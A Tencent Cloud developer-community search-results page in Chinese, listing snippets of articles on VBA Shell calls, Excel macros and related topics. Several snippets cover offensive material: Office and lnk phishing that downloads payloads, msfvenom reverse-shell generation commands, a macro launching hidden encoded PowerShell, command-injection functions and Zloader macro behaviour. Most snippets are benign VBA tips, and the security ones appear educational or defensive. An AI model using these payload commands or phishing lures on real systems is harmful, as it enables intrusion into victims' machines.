禁用CMD时的VBA Shell替代方案 - 腾讯云开发者社区 - 腾讯云

开发者社区

文档建议反馈控制台

最新优惠活动

文章/答案/技术大牛

发布

干货 | Office文档钓鱼的实战和免杀技巧

这些文件通常称为快捷方式文件，通常它以快捷方式放在硬盘上，以方便使用者快速的调用。lnk钓鱼主要将图标伪装成正常图标，但是目标会执行shell命令。...当受害者双击之后就会自动执行我们的恶意payload,从目标网站下载并执行。最终被得到 shell。...现在Office的宏功能已经默认是禁用。...默认情况下，Office已经禁用所有宏，但仍会在打开Word文档的时候发出通知。...当受害者双击打开时，默认会用Excel打开，弹出警告，点击启用因为前面的iqy文件是用cmd执行的，所以会继续询问是否启动另一个应用程序，CMD.EXE.

7.8K2 1

Excel VBA常用功能加载宏——打开活动工作簿所在文件夹

我们在使用电脑的时候，如果打开的窗口太多，任务栏会比较混乱，一般我们就会关闭一些不需要的窗口，比如文件夹等。...在VBA里使用过Workbook对象就能知道，调用Path属性就能获取到工作簿所在的文件夹，所以，使用VBA就可以快速打开活动工作簿所在的文件夹： ?...OpenActiveWbPath() Dim Path As String Path = ActiveWorkbook.Path Path = """" & Path & """" VBA.Shell..."cmd.exe /c explorer " & Path, vbNormalFocus End Sub 函数比较简单，就是获取活动工作簿的Path，然后调用Shell执行cmd命令。...所以程序运行会弹出一个黑窗口，那个就cmd的窗口。路径有空格的时候我记得是会出问题的，可能原来是XP系统，我电脑WIN7系统测试没有出问题。

2.6K3 0

您找到你想要的搜索结果了吗？

是的

没有找到

msfconsole笔记

载荷这个东西比较多，这个软件就是根据对应的载荷payload生成对应平台下的后门，所以只有选对payload，再填写正确自己的IP，PORT就可以生成对应语言，对应平台的后门了！！！...exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd..., vba, vba-exe, vba-psh, vbs, war Transform formats: , c, csharp, dw, dword, hex, java, js_be, js_le...–s 生成payload的最大长度，就是文件大小。 8. –b 避免使用的字符例如：不使用 ‘0f’。 9. –i 编码次数。 10. –c 添加自己的shellcode。 11....Bash msfvenom -p cmd/unix/reverse_ LHOST= LPORT= -f raw >

4461 0

VBA获取连接的wifi密码

电脑或手机既然能够自动连接已经连接过的wifi，说明密码已经被保存起来了，只是一般情况下我们不知道如何找到这个保存的文件，最近发现一个使用cmd命令获取保存的wifi密码功能，但是cmd命令毕竟不熟悉，...如果每次都去使用cmd命令的话，还是得临时去查。...不过VBA能够和cmd命令交互，所以使用VBA把cmd命令封装起来，使用起来就方便多了。...又想到VBS直接双击就能运行的便捷，而且语法和VBA几乎一样，就又小改一下做成了个VBS，直接双击就可以了，效果： ? 这里就直接贴代码，原理其实我也没怎么去研究！...GetCmdResult(sCmd) Dim ws Dim ws_exec Dim str Dim ret Set ws = CreateObject("Wscript.Shell

1.4K2 0

VBA操作注册表

VBA语言本身实现了3个操作注册表的函数，这几个函数使用比较简单，适合保存一些简单的配置信息： ?...这3个函数固定只能操作的注册表路径是： HKEY_CURRENT_USER\Software\VB and VBA Program Settings 写一个简单的测试语句： VBA.SaveSetting..."xyjvba测试", "xyjvbaSection", "xyjvba", "vba" 点击电脑的开始--运行，输入cmd，然后在黑框里输入regedit，这样就打开了注册表编辑器点击HKEY_CURRENT_USER...因为这3个函数能操作的注册表路径固定了，所以在VBA里用起来就比较的简单，当然这也同时让这个3个函数有了很大的限制。...如果需要操作其他路径的注册表信息，可以使用WScript.Shell，可以看看在VBA CreateObject函数如何找到所需要的依赖文件中提到的用法。

2.5K2 0

VBA CreateObject函数如何找到所需要的依赖文件

VBA中如果要调用外部对象，有2种方法：前期绑定：在VBA编辑器里点击工具-引用，找到需要使用的项目勾选后期绑定：使用VBA的CreateObject函数，这种情况下要知道...以外部对象字典为例，来看看通过注册表是如何找到依赖文件的：点击电脑的开始--运行，输入cmd，然后在黑框里输入regedit，这样就打开了注册表编辑器。...2、使用VBA读取注册表如果还想知道其他的外部对象所引用的具体文件，用上面的方法自然可以找到，但是这样手动查找挺麻烦的，看看使用VBA如何来读取注册表信息： Private Function GetObjectDllPathByWSCript...(ObjectName As String) As String Dim ws As Object Set ws = VBA.CreateObject("WScript.Shell...InprocServer32\") GetObjectDllPathByWSCript = dllpath Set ws = Nothing End Function 使用WScript.Shell

2.4K3 1

VBA: 批量打印pdf文件

文章背景：在工作中，有时候想通过VBA批量打印pdf文件，可以调用Windows的Shell命令来完成。下面介绍两种方案。...", vbInformation End Sub 2 Shell VBA代码如下： Option Explicit Sub 批量打印PDF文件_shell() Dim myPath...", vbInformation End Sub 3 注意点（1）ShellExecute 和Shell命令都是异步执行的，这意味着当你发出打印命令时，VBA代码不会等待前一份pdf打印完成...这可能会导致打印多份PDF文件时出现打印顺序乱序的问题。（2）除了使用等待时间或复杂的 API 调用外，确实没有直接的简单有效方法来在 VBA 中实现同步打印 PDF 文件。...VBA 本身并没有提供直接的同步打印功能，而且对于打印任务的管理和状态跟踪也有一定的局限性。

3701 0

VBA汇总多个Excel文件数据

3、代码实现让我们看看如何用VBA代码1分钟内搞定。这个需求的核心是如何能够得到所有的Excel文件路径，只要文件格式一致，打开Excel，复制需要的数据是很简单的。...VBA遍历获取所有文件方法：调用Dir函数使用FileSystemObject 使用cmd命令 Dir函数个人觉得不好用，用下面的2种方法。...file = Nothing Set folder = Nothing Set subDir = Nothing Set fso = Nothing End Function cmd...ws_exec As Object Dim str As String Dim ret As Variant Set ws = CreateObject("Wscript.Shell...Sub Function GetFolderPath() As String Dim myFolder As Object Set myFolder = CreateObject("Shell.Application

2.7K3 1

命令执行与代码执行漏洞原理

如PHP中的system，exec，shell_exec等，当用户可以控制命令执行函数中的参数时，将可注入恶意系统命令到正常命令中，造成命令执行攻击。...漏洞危害继承Web服务程序的权限去执行系统命令或读写文件反弹shell 控制整个网站甚至控制服务器进一步内网渗透代码执行与命令执行的区别命令执行漏洞：直接调用操作系统命令(相当于在cmd下敲命令...3.Passthru：passthru函数可以用来执行一个UNIX系统命令并显示原始的输出，当UNIX系统命令的输出是二进制的数据，并且需要直接返回值给浏览器时，需要使用passthru函数来替代system...Shell_exec：执行shell命令并返回输出的字符串，函数原型如下： string shell_exec (string command) 其中，command是要执行的命令。...成功执行命令 TP的漏洞还有很多大家可以去试试修复方案 1.尽量少用执行命令的函数或者直接禁用 2.参数值尽量使用引号包括 3.在使用动态函数之前，确保使用的函数是指定的函数之一 4.在进入执行命令的函数

2.4K3 0

11.反恶意软件扫描接口 (AMSI)

如果端点安全产品支持AMSI，并且检测到该字符串，那么PowerShell提示符将显示错误，表明输入的命令是恶意的。 ? 很好Amsi查杀并阻止了power shell执行命令。...简单来说就是：记录宏行为>>触发对可疑行为的扫描>>在检测到恶意宏时停止查杀过程记录宏行为我们知道VBA 语言为宏提供了一组丰富的函数，可用于与操作系统交互以运行命令、访问文件系统等。...Office 365 AMSI 用户配置 > 管理模板 > Microsoft Office 2016 > 安全设置 1.对所有文档禁用：如果对所有文档禁用该功能，则不会对启用的宏执行运行时扫描。...该协议允许 VBA 运行时向反病毒系统报告它即将执行的某些高风险代码行为，并允许反病毒在观察到的行为序列表明可能存在恶意活动时向进程报告，以便 Office应用程序可以采取适当的行动。...Hidden -EncodedCommand shell") End Sub 在没有开amsi的情况下可以执行上线!

4.3K2 0

Msfconsole使用总结

载荷这个东西比较多，这个软件就是根据对应的载荷payload生成对应平台下的后门，所以只有选对payload，再填写正确自己的IP，PORT就可以生成对应语言，对应平台的后门了！！！...exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd..., vba, vba-exe, vba-psh, vbs, war Transform formats: , c, csharp, dw, dword, hex, java, js_be, js_le...–s 生成payload的最大长度，就是文件大小。 8.–b 避免使用的字符例如：不使用 ‘0f’。 9.–i 编码次数。 10.–c 添加自己的shellcode。 11. –x | -k 捆绑。...-p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

5123 0

VBA: DTPicker日期控件的使用

文章背景：最近在查看同事写的VBA代码时，发现了DTPicker日期控件。...注册成功后，打开Excel文件，此时可以在excel表格和VBA窗口中调用DTPicker控件。...1663656287&vid=wxv_2293886761531506690&format_id=10002&support_redirect=0&mmversion=false 2 DTPicker日期控件的替代方案...因此，对于64位的Office软件，需要找一个可以替代DTPicker的日期控件。目前在网上找到了一个替代方案，相关文件的下载路径，请参见文末的参考资料[4]。...Excel User Form and VBA)(https://stackoverflow.com/questions/15816014/how-to-install-mscomct2-ocx-file-from-cab-file-excel-user-form-and-vba

9.4K3 0

VBA列出文件夹父子目录及文件名

VBA列出文件夹父子目录及文件名 Sub dir() On Error GoTo 100 Dim wsh As Object, mypath As String, ar, i&, br...mypath = CreateObject("shell.application").BrowseForFolder(0, "请选择要搜索的文件夹", 0).Items.Item.Path...'在此指定目录 Set wsh = CreateObject("wscript.shell") mypath = wsh.exec("cmd /c tree /f " & Chr(34)

1.5K2 0

自定义Spring Shell

自定义内置命令禁用内置命令禁用Spring Shell的内置命令非常简单，只需要在pom.xml文件中进行简单配置即可，如下所示：的情况下，应该只是禁用某些内置命令。如果需要禁用指定内置命令，需要在代码中设置对应的命令属性为false，格式为：spring.shell.command....Shell应用启动之后通过help命令不再能看被禁用的命令了。...-0.0.1-SNAPSHOT.jar @/home/test/cmd 文件/home/test/cmd中的内容为： $ cat /home/test/cmd help 这样，在启动程序时，将会自动执行.../home/test/cmd文件中的命令（如果文件不存在，启动应用时报错）。

9652 0

VBA自定义函数：统计指定扩展名的文件数量

标签：VBA，自定义函数下面是整理自网上的一些统计文件数量的代码，供参考。一个VBA自定义函数，可用于统计文件夹中的文件数，特别是指定扩展名的文件数。...函数代码如下： ' 目的: 统计文件夹中的文件数. ' 如果提供了文件扩展名, 则仅统计这种类型的文件 ' 否则返回所有文件数....Variant Dim Files As Object If FileFilter = "" Then FileFilter = "*.*" With CreateObject("Shell.Application...fld As String Dim lst As Variant fld = "C:\test\*.xl*" lst = Filter(Split(CreateObject("wscript.shell...").exec("cmd /c Dir" & fld & " /b /a-d").stdout.readall, vbCrLf), ".")

1941 0

用日志记录Linux用户执行的每一条命令(history)

工作中，需要把用户执行的每一个命令都记录下来，并发送到日志服务器的需求，为此我做了一个简单的解决方案。...这个方案会在每个用户退出登录时把用户所执行的每一个命令都发送给日志守护进程rsyslogd,你也可通过配置“/etc/rsyslog.conf”进一步将日志发送给日志服务器第一种方法 # vi /etc...= "$LAST_CMD" ]; then logger -t `whoami`_shell_cmd "[$OLD_PWD]$(history 1)"; fi ; export LAST_CMD...#不要试图用"history | logger"或"logger -f $tmpfile"来替代下面的代码，否则将只能记录前200行。...k=1 while read line; do ((k++)) logger -t `whoami`_shell_cmd "$line" done < $tmpfile rm -f $tmpfile

2.7K5 0

K8S容器应用优雅关闭-修复5003 Error

为1的进程为shell进程，这会导致容器关闭时业务进程无法接受k8s发送的SIGTERM信号，只能在等待15秒后被强行杀死 process-shell 2.3 修改了程序启动参数，通过EXEC启动模式...根因分析 3.1、SHELL 模式和 CMD 模式带来的差异通常Dockerfile中CMD和ENTRYPOINT来启动应用，启动应用有两种模式，shell 模式和 exec 模式，对应的使用 shell...ADD start.sh /root/ CMD ["/bin/sh","/root/start.sh"] 3.2.1 解决方案方案一：通过 k8s 的 prestop 参数调用容器内进程关闭脚本，实现优雅关闭.../app shell 中添加一个 exec 即可让应用进程替代当前 shell 进程,可将 SIGTERM 信号传递到业务层，让业务实现优雅关闭。...2、对于应用本身代码层面已经实现了优雅关闭的业务，但有 shell 启动脚本，容器化后部署到 k8s 上建议使方案一和方案二。 3、对于应用本身代码层面没有实现优雅关闭的业务，建议使用方案三。

9333 0

PHP实现执行外部程序的方法详解

分享给大家供大家参考，具体如下：在一些特殊情况下，会使用PHP调用外部程序执行，比如：调用shell命令、shell脚本、可执行程序等等，今天在源码中了解了一下PHP执行外部程序的方法，借此机会顺便整理一下...前提 1 PHP没有运行在安全模式，关掉安全模式，即：safe_mode = off 2 禁用函数列表 disable_functions = exec, system, shell_exec,proc_open..., popen, 如果禁用了，就关掉。...&", $output, $var); shell_exec() 函数原型：string shell_exec( string command) 描述：通过 shell 环境执行命令，并且将完整的输出以字符串的方式返回...用途：当所执行的 Unix 命令输出二进制数据，并且需要直接传送到浏览器的时候，需要用此函数来替代 exec() 或 system() 函数例子： <?

9833 0

Excel 旧用户正成为恶意软件的目标

当用户打开文档并启用宏功能时，Word文档就会下载并打开另一个受密码保护的Microsoft Excel文档。...接下来，嵌入Word文档中的基于VBA的指令会读取精心构建的Excel电子表格单元以创建宏。这个宏将使用附加的VBA宏填充同一XLS文档中的附加单元格，从而禁用Office的安全防御功能。...当用户停止操作之后，这个宏将会被保存下来，并且会被分配给一个按钮，当用户点击这个按钮时，它会再次运行完全相同的过程。...一旦Excel宏被创建并准备好执行，脚本将修改Windows的注册表键以禁用受害者计算机上VBA的信任访问。这使得脚本能够无缝地执行功能，而不会弹出任何的警告。...在禁用信任访问后，恶意软件将创建并执行一个新的Excel VBA，然后触发Zloader的下载行为。

4.7K1 0

VBA专题10-21：使用VBA操控Excel界面之禁用和启用控件、组和选项卡

被禁用的控件在功能区中显示的是灰色。...虽然在功能区中被禁用的控件是灰色的，但你仍然可以通过快捷键组合执行它们中的一些命令。...例如，下面的XML代码和VBA代码能够在运行时满足某条件时使“加粗”和“下划线”控件禁用（和启用）： image.png 注意，两个command元素的getEnabled属性都引用相同的getEnabledBU...在Custom UI Editor中保存该文件，首次在Excel中打开该文件时，将会出现关于Initialize和GetEnabledAttnSh过程提示的错误消息，因为在标准的VBA模块中仍然没有这两个回调过程...End Sub 要基于其在XML代码中的id禁用（和启用）某自定义控件，在现有的标准VBA模块或者新的标准VBA模块中包括下面的代码： Sub EnableAll() Call RefreshRibbon

3.4K2 0

点击加载更多

扫码

添加站长进交流群

领取专属 10元无门槛券

手把手带您无忧上云

扫码加入开发者社群

相关资讯

热门标签

活动推荐

运营活动

活动名称

广告关闭